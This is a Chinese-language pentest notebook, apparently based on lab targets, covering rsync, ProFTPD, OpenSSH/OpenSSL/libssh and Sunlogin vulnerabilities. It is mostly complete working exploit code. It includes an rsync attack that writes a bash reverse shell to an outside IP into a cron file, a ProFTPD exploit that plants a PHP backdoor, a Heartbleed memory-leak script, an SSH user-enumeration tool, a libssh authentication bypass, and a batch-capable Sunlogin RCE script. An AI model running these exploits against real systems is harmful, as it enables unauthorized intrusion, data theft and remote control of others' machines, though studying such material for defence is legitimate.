应用协议漏洞

一、rsync

• rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口

1.未授权访问

• 打开靶场

  

• 判断漏洞是否存在

  rsync rsync://目标ip:端口
  

  

• 读取文件

  rsync rsync://47.99.49.128:873/src/tmp/
  

  

• 下载文件

  rsync rsync://47.99.49.128:873/src/etc/passwd ./
  

  

• 上传文件

  rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
  

  

• 获取shell

  • 查看crontab中的内容，发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务

    rsync rsync://47.99.49.128:873/src/etc/crontab ./ 
    

    

  • 发现每17分钟执行/etc/cron.hourly文件，我们创建一个反弹shell的文件覆盖该文件

    vim shell
    
    内容：
    bash -i >& /dev/tcp/120.46.39.24/8848 0>&1
    
    赋权：chmod +x shell 
    
    覆盖文件：
    rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
    

    

    

  • MSF批量验证

    use auxiliary/scanner/rsync/modules_list  进入rsync漏洞扫描模块
    show options    查看模块配置方法
    set rhosts file:/tmp/ip.txt    批量扫描，指定字典
    set threads 10    配置线程
    

    

  • 【+】代表有漏洞，【*】没有

    

二、ProFTPD

• 一个Unix平台上或是类Unix平台上 (如Linux, FreeBSD等)的FTP服务器程序

1.RCE（cve-2015-3306）

• https://github.com/t0kx/exploit-CVE-2015-3306

• 打开靶场

  

• EXP

  #!/usr/bin/env python
  # CVE-2015-3306 exploit by t0kx
  # https://github.com/t0kx/exploit-CVE-2015-3306
  
  import re
  import socket
  import requests
  import argparse
  
  class Exploit:
      def __init__(self, host, port, path):
          self.__sock = None
          self.__host = host
          self.__port = port
          self.__path = path
  
      def __connect(self):
          self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          self.__sock.connect((self.__host, self.__port))
          self.__sock.recv(1024)
  
      def __exploit(self):
          payload = "<?php echo passthru($_GET['cmd']); ?>"
          self.__sock.send(b"site cpfr /proc/self/cmdline\n")
          self.__sock.recv(1024)
          self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
          self.__sock.recv(1024)
          self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
          self.__sock.recv(1024)
          self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))
  
          if "Copy successful" in str(self.__sock.recv(1024)):
              print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
              print("[+] Running whoami: " + self.__trigger())
              print("[+] Done")
          else:
              print("[!] Failed")
  
      def __trigger(self):
          data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
          match = re.search('cpto /tmp/.([^"]+)', data.text)
          return match.group(0)[11::].replace("\n", "")
  
      def run(self):
          self.__connect()
          self.__exploit()
  
  def main(args):
      print("[+] CVE-2015-3306 exploit by t0kx")
      print("[+] Exploiting " + args.host + ":" + args.port)
  
      exploit = Exploit(args.host, int(args.port), args.path)
      exploit.run()
  
  if __name__ == "__main__":
      parser = argparse.ArgumentParser()
      parser.add_argument('--host', required=True)
      parser.add_argument('--port', required=True)
      parser.add_argument('--path', required=True)
      args = parser.parse_args()
  
      main(args)
  

• 执行exp

  python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
  

  

• 执行命令

  :57867/backdoor.php?cmd=id
  

  

三、SSH

• OpenSSH 是SSH协议的免费开源实现。SSH协议族可以用来进行远程控制， 或在计算机之间传送文件
• OpenSSL 是一个开源的软件库，使用包含了众多加解密算法，用于传输层安全性 (TLS) 和安全套接字层 (SSL) 协议的强大、商业级和功能齐全的工具包
• libssh 是一个提供SSH相关接口的开源库，包含服务端、客户端等。其服务端代码中存在一处逻辑错误，攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS消息，绕过认证过程，未授权访问目标 SSH 服务器

1.心脏出血（CVE-2014-0160 版本很少）

• 受影响版本

  OpenSSL 1.0.2-beta
  OpenSSL 1.0.1 - OpenSSL 1.0.1f
  

• 打开靶场

  

• MSF进行验证

  search heartbleed   查找攻击模块
  use auxiliary/scanner/ssl/openssl_heartbleed    选择攻击模块
  show options     查看需要设置的参数
  set RHOST  设置对应的主机
  set RPORT   设置对应的端口
  set verbose true     设置verbose为true是为了 看到泄露的信息
  run    执行
  

  

• EXP获取敏感数据

  #!/usr/bin/python
  
  # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  # The author disclaims copyright to this source code.
  
  import sys
  import struct
  import socket
  import time
  import select
  import binascii
  import re
  from optparse import OptionParser
  
  options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  
  def h2bin(x):
      return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
  
  hello = h2bin('''
  16 03 02 00 dc 01 00 00 d8 03 02 53
  43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  00 0f 00 01 01
  ''')
  
  hb = h2bin('''
  18 03 02 00 03
  01 40 00
  ''')
  
  def hexdump(s: bytes):
      for b in range(0, len(s), 16):
          lin = [c for c in s[b : b + 16]]
          hxdat = ' '.join('%02X' % c for c in lin)
          pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
          print('  %04x: %-48s %s' % (b, hxdat, pdat))
  
      print("")
  
  def recvall(s, length, timeout=5):
      endtime = time.time() + timeout
      rdata = b''
      remain = length
      while remain > 0:
          rtime = endtime - time.time()
          if rtime < 0:
              return None
          r, w, e = select.select([s], [], [], 5)
          if s in r:
              data = s.recv(remain)
              # EOF?
              if not data:
                  return None
              rdata += data
              remain -= len(data)
      return rdata
  
  
  def recvmsg(s):
      hdr = recvall(s, 5)
      if hdr is None:
          print('Unexpected EOF receiving record header - server closed connection')
          return None, None, None
      typ, ver, ln = struct.unpack('>BHH', hdr)
      pay = recvall(s, ln, 10)
      if pay is None:
          print('Unexpected EOF receiving record payload - server closed connection')
          return None, None, None
      print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
      return typ, ver, pay
  
  def hit_hb(s):
      s.send(hb)
      while True:
          typ, ver, pay = recvmsg(s)
          if typ is None:
              print('No heartbeat response received, server likely not vulnerable')
              return False
  
          if typ == 24:
              print('Received heartbeat response:')
              hexdump(pay)
              if len(pay) > 3:
                  print('WARNING: server returned more data than it should - server is vulnerable!')
              else:
                  print('Server processed malformed heartbeat, but did not return any extra data.')
              return True
  
          if typ == 21:
              print('Received alert:')
              hexdump(pay)
              print('Server returned error, likely not vulnerable')
              return False
  
  def main():
      opts, args = options.parse_args()
      if len(args) < 1:
          options.print_help()
          return
  
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      print('Connecting...')
      sys.stdout.flush()
      s.connect((args[0], opts.port))
      print('Sending Client Hello...')
      sys.stdout.flush()
      s.send(hello)
      print('Waiting for Server Hello...')
      sys.stdout.flush()
      while True:
          typ, ver, pay = recvmsg(s)
          if typ == None:
              print('Server closed connection without sending Server Hello.')
              return
          # Look for server hello done message.
          if typ == 22 and pay[0] == 0x0E:
              break
  
      print('Sending heartbeat request...')
      sys.stdout.flush()
      s.send(hb)
      hit_hb(s)
  
  if __name__ == '__main__':
      main()
  

  

2.用户枚举（CVE-2018-15473）

• 影响版本：OpenSSH < 7.7

• 打开靶场

  

• MSF进行验证

  use auxiliary/scanner/ssh/ssh_enumusers 
  

  

• 使用POC进行验证

  #!/usr/bin/env python
  ###########################################################################
  #                ____                    _____ _____ _    _               #
  #               / __ \                  / ____/ ____| |  | |              #
  #              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
  #              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
  #              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
  #               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
  #                     | |               Username Enumeration              #
  #                     |_|                                                 #
  #                                                                         #
  ###########################################################################
  # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
  # Vulnerability: CVE-2018-15473                                           #
  # Affected Versions: OpenSSH version < 7.7                                #
  # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
  # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
  # Email: Justin.Gardner@SynerComm.com                                     #
  # Date: August 20, 2018                                                   #
  ###########################################################################
  
  import argparse
  import logging
  import paramiko
  import multiprocessing
  import socket
  import string
  import sys
  import json
  from random import randint as rand
  from random import choice as choice
  # store function we will overwrite to malform the packet
  old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
  
  # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
  # with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
  random_username_list = []
  # populate the list
  for i in range(3):
      user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
      random_username_list.append(user)
  
  # create custom exception
  class BadUsername(Exception):
      def __init__(self):
          pass
  
  # create malicious "add_boolean" function to malform packet
  def add_boolean(*args, **kwargs):
      pass
  
  # create function to call when username was invalid
  def call_error(*args, **kwargs):
      raise BadUsername()
  
  # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
  def malform_packet(*args, **kwargs):
      old_add_boolean = paramiko.message.Message.add_boolean
      paramiko.message.Message.add_boolean = add_boolean
      result  = old_parse_service_accept(*args, **kwargs)
      #return old add_boolean function so start_client will work again
      paramiko.message.Message.add_boolean = old_add_boolean
      return result
  
  # create function to perform authentication with malformed packet and desired username
  def checkUsername(username, tried=0):
      sock = socket.socket()
      sock.connect((args.hostname, args.port))
      # instantiate transport
      transport = paramiko.transport.Transport(sock)
      try:
          transport.start_client()
      except paramiko.ssh_exception.SSHException:
          # server was likely flooded, retry up to 3 times
          transport.close()
          if tried < 4:
              tried += 1
              return checkUsername(username, tried)
          else:
              print('[-] Failed to negotiate SSH transport')
      try:
          transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
      except BadUsername:
              return (username, False)
      except paramiko.ssh_exception.AuthenticationException:
              return (username, True)
      #Successful auth(?)
      raise Exception("There was an error. Is this the correct version of OpenSSH?")
  
  # function to test target system using the randomly generated usernames
  def checkVulnerable():
      vulnerable = True
      for user in random_username_list:
          result = checkUsername(user)
          if result[1]:
              vulnerable = False
      return vulnerable
  
  def exportJSON(results):
      data = {"Valid":[], "Invalid":[]}
      for result in results:
          if result[1] and result[0] not in data['Valid']:
              data['Valid'].append(result[0])
          elif not result[1] and result[0] not in data['Invalid']:
              data['Invalid'].append(result[0])
      return json.dumps(data)
  
  def exportCSV(results):
      final = "Username, Valid\n"
      for result in results:
          final += result[0]+", "+str(result[1])+"\n"
      return final
  
  def exportList(results):
      final = ""
      for result in results:
          if result[1]:
              final+="++++++" + result[0] + " is a valid user!\n"
          else:
              final+=result[0]+" is not a valid user!\n"
      return final
  
  # assign functions to respective handlers
  paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
  paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
  
  # get rid of paramiko logging
  logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
  
  arg_parser = argparse.ArgumentParser()
  arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
  arg_parser.add_argument('--port', type=int, default=22, help="The target port")
  arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
  arg_parser.add_argument('--outputFile', type=str, help="The output file location")
  arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
  group = arg_parser.add_mutually_exclusive_group(required=True)
  group.add_argument('--username', type=str, help="The single username to validate")
  group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
  args = arg_parser.parse_args()
  
  def main():
      sock = socket.socket()
      try:
          sock.connect((args.hostname, args.port))
          sock.close()
      except socket.error:
          print('[-] Connecting to host failed. Please check the specified host and port.')
          sys.exit(1)
  
      # first we run the function to check if host is vulnerable to this CVE
      if not checkVulnerable():
          # most probably the target host is either patched or running a version not affected by this CVE
          print("Target host most probably is not vulnerable or already patched, exiting...")
          sys.exit(0)
      elif args.username: #single username passed in
          result = checkUsername(args.username)
          if result[1]:
              print(result[0]+" is a valid user!")
          else:
              print(result[0]+" is not a valid user!")
      elif args.userList: #username list passed in
          try:
              f = open(args.userList)
          except IOError:
              print("[-] File doesn't exist or is unreadable.")
              sys.exit(3)
          usernames = map(str.strip, f.readlines())
          f.close()
          # map usernames to their respective threads
          pool = multiprocessing.Pool(args.threads)
          results = pool.map(checkUsername, usernames)
          try:
              if args.outputFile:
                  outputFile = open(args.outputFile, "w")
          except IOError:
              print("[-] Cannot write to outputFile.")
              sys.exit(5)
          if args.outputFormat=='json':
              if args.outputFile:
                  outputFile.writelines(exportJSON(results))
                  outputFile.close()
                  print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
              else:
                  print(exportJSON(results))
          elif args.outputFormat=='csv':
              if args.outputFile:
                  outputFile.writelines(exportCSV(results))
                  outputFile.close()
                  print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
              else:
                  print(exportCSV(results))
          else:
              if args.outputFile:
                  outputFile.writelines(exportList(results))
                  outputFile.close()
                  print("[+] Results successfully written to " + args.outputFile + " in List form.")
              else:
                  print(exportList(results))
      else: # no usernames passed in
          print("[-] No usernames provided to check")
          sys.exit(4)
  
  if __name__ == '__main__':
      main()
  

3.命令注入（CVE-2020-15778 价值不高）

• 漏洞版本：<= openssh-8.3p1

4.libssh身份验证绕过（CVE-2018-10933）

• 影响版本

  libssh 0.6 及更高版本具有身份验证绕过漏洞。
  libssh 版本 0.8.4 和 libssh 0.7.6 已发布，以解决此问题。
  

• 打开靶场

  

• EXP

  因其正常连接需要输入密码，使用 EXP 向服务器显示SSH2_MSG_USERAUTH_SUCCESS消息
  代替服务器等待的SSH2_MSG_USERAUTH_REQUEST消息，以达到无登录凭据认证

  #!/usr/bin/env python3
  import sys
  import paramiko
  import socket
  import logging
  
  logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
  bufsize = 2048
  
  
  def execute(hostname, port, command):
      sock = socket.socket()
      try:
          sock.connect((hostname, int(port)))
  
          message = paramiko.message.Message()
          transport = paramiko.transport.Transport(sock)
          transport.start_client()
  
          message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
          transport._send_message(message)
  
          client = transport.open_session(timeout=10)
          client.exec_command(command)
  
          # stdin = client.makefile("wb", bufsize)
          stdout = client.makefile("rb", bufsize)
          stderr = client.makefile_stderr("rb", bufsize)
  
          output = stdout.read()
          error = stderr.read()
  
          stdout.close()
          stderr.close()
  
          return (output+error).decode()
      except paramiko.SSHException as e:
          logging.exception(e)
          logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
      except socket.error:
          logging.debug("Unable to connect.")
  
      return None
  
  
  if __name__ == '__main__':
      print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
  

  

四、向日葵

1.RCE（CNVD-2022-10207）

• 漏洞安装包下载：https://download.csdn.net/download/weixin_46029520/88782063

• 影响客户端版本:

  11.1.1
  10.3.0.27372
  11.0.0.33162
  

• 发生在接口/check处，当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用，客户端开启客户端会自动随机开启一个大于40000的端口号

• EXP

  Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
  python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
  python exp.py  -f targets.txt -c "whoami"
  

  from optparse import OptionParser
  import requests
  import json
  
  
  def title():
      print("""
          
  ╔═╗┬ ┬┌┐┌╦  ┌─┐┌─┐┬┌┐┌   ╦═╗┌─┐┌─┐
  ╚═╗│ ││││║  │ ││ ┬││││───╠╦╝│  ├┤   =.=
  ╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘   ╩╚═└─┘└─┘
  						    By:J2ekim
  						    向日葵v11.x RCE
          """)
  
  
  def gettoken(ip, port):
      print("http://" + ip + ":" + port)
      url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras"
      try:
          res = json.loads(requests.get(url,verify=False, timeout=5).text)
          # print(res['verify_string'])
          return res['verify_string']
      except requests.exceptions.ConnectTimeout as _:
          print ("fail", "ConnectTimeout")
      except Exception as _:
          print ("fail", "Error")
  
  
  def RunCmd(ip, port, command,token):
      poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command
      # poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmd
      cookies = {"CID": token}
      # print(cookies)
      try:
          resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).text
          print(resu)
      except Exception as _:
          return ("fail", "Error_")
  
  
  def getshell(url,command):
      try:
          print(url)
          vul_url = url + "/cgi-bin/rpc?action=verify-haras"
          reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text)
          verify_string = (reps['verify_string'])
          cookies = {"CID": verify_string}
          poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + command
          poc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).text
          print(poc_reps)
      except TimeoutError:
          print("timeout")
      except Exception:
          print("error")
  
  
  def batch_getshell(filename,command):
      with open(filename, mode="r", encoding="utf-8") as f:
          for url in f:
              if "http" not in url:
                  url = "http://" + url
                  getshell(url,command)
              else:
                  getshell(url, command)
  
  
  def main(host,port,command):
      try:
          token = gettoken(host, port)
          RunCmd(host, port, command, token)
  
      except requests.RequestException as e:
          print(e)
  
  
  if __name__ == '__main__':
      title()
      usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
               python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
               python exp.py  -f targets.txt -c "whoami" """)
      parser = OptionParser(usage=usage)
      parser.add_option('-i', '--ip', dest='ip')
      parser.add_option('-p', '--port', dest='port')
      parser.add_option('-c', '--command', dest='command')
      parser.add_option('-f', '--file', dest='file')
      (option, args) = parser.parse_args()
      host = option.ip
      port = option.port
      command = option.command
      file = option.file
      if host is None and command is None and port is None :
          print(usage)
      elif file is not None:
          batch_getshell(file,command)
      else:
          main(host, port,command)